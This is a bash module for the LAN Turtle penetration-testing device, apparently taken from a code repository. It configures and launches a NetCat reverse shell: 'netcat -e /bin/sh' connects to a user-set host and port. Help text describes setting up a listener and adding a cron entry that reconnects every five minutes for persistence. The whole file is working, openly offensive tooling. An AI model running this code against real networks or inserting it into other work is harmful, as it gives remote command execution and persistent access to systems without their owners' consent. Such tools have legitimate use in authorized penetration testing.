106 lines
2.9 KiB
Bash
Executable File
106 lines
2.9 KiB
Bash
Executable File
#!/bin/bash /usr/lib/turtle/turtle_module
|
|
VERSION="1.0"
|
|
DESCRIPTION="NetCat Reverse Shell"
|
|
CONF=/tmp/netcatrevshell.form
|
|
|
|
: ${DIALOG_OK=0}
|
|
: ${DIALOG_CANCEL=1}
|
|
: ${DIALOG_HELP=2}
|
|
: ${DIALOG_EXTRA=3}
|
|
: ${DIALOG_ITEM_HELP=4}
|
|
: ${DIALOG_ESC=255}
|
|
|
|
function start {
|
|
touch /tmp/netcat.pid
|
|
if kill -0 $(cat /tmp/netcat.pid) 2>/dev/null; then
|
|
echo "NetCat Reverse Shell already running"
|
|
else
|
|
if [ -s /etc/config/netcatrevshell ]
|
|
then
|
|
host=$(uci get netcatrevshell.host)
|
|
port=$(uci get netcatrevshell.port)
|
|
echo "Starting NetCat Reverse Shell to $host:$port"
|
|
netcat -e /bin/sh "$host" "$port" & echo $! > /tmp/netcat.pid
|
|
else
|
|
echo "NetCat Reverse Shell not configured"
|
|
fi
|
|
fi
|
|
}
|
|
|
|
function stop {
|
|
touch /tmp/netcat.pid
|
|
if kill -0 $(cat /tmp/netcat.pid) 2>/dev/null; then
|
|
echo "Stopping NetCat Reverse Shell"
|
|
kill $(cat /tmp/netcat.pid)
|
|
kill $(ps | grep [/]bin/sh | awk '{print $1}')
|
|
else
|
|
echo "NetCat Reverse Shell not running"
|
|
fi
|
|
}
|
|
|
|
function status {
|
|
if [ -s /tmp/netcat.pid ]
|
|
then
|
|
if kill -0 $(cat /tmp/netcat.pid) 2>/dev/null; then
|
|
echo "1"
|
|
else
|
|
echo "0"
|
|
fi
|
|
else
|
|
echo "0"
|
|
fi
|
|
}
|
|
|
|
function configure {
|
|
if [ -s /etc/config/netcatrevshell ]
|
|
then
|
|
nc_host=$(uci get netcatrevshell.host)
|
|
nc_port=$(uci get netcatrevshell.port)
|
|
else
|
|
touch /etc/config/netcatrevshell
|
|
fi
|
|
|
|
dialog --ok-label "Submit" \
|
|
--help-button \
|
|
--title "NetCat Reverse Shell Configuration" \
|
|
--form "\n\
|
|
This module initiates a simple TCP reverse shell (/bin/sh) using NetCat to the specified host/port.\n \n\n" 11 60 2\
|
|
"Host:" 1 1 "$nc_host" 1 12 200 0 \
|
|
"Port:" 2 1 "$nc_port" 2 12 200 0 \
|
|
2>$CONF
|
|
|
|
return=$?
|
|
|
|
case $return in
|
|
$DIALOG_OK)
|
|
cat $CONF | {
|
|
read -r nc_host
|
|
read -r nc_port
|
|
touch /etc/config/netcatrevshell
|
|
uci set netcatrevshell.host="$nc_host"
|
|
uci set netcatrevshell.port="$nc_port"
|
|
uci commit netcatrevshell
|
|
rm $CONF
|
|
clear
|
|
};;
|
|
$DIALOG_CANCEL)
|
|
rm $CONF
|
|
clear
|
|
exit;;
|
|
$DIALOG_HELP)
|
|
dialog --title "Help" \
|
|
--msgbox "\
|
|
This very basic Reverse Shell uses NetCat to bind a shell from /bin/sh to the specified host and port.\n\n\
|
|
A netcat listener should be configured to accept the incoming connection. For example:\n\n\
|
|
netcat -l -v -p 8080\n\n\
|
|
You may wish to keep the netcat listener running and accepting connections even after a disconnect. Some versions of netcat support the '-k' argument. Alternatively, on Linux, one may use the oneliner 'while true; do netcat -lvp 8080; done' to restart after disconnects.\n\n\
|
|
When started, this module will not spawn a new instance of netcat if it is already running.\n\n\
|
|
In the event the netcat reverse shell dies, one may consider adding '*/5 * * * * start netcat-revshell' to the crontab to ensure a connection is attempted every 5 minutes.
|
|
" 20 60
|
|
configure
|
|
;;
|
|
$DIALOG_ESC)
|
|
clear;;
|
|
esac
|
|
}
|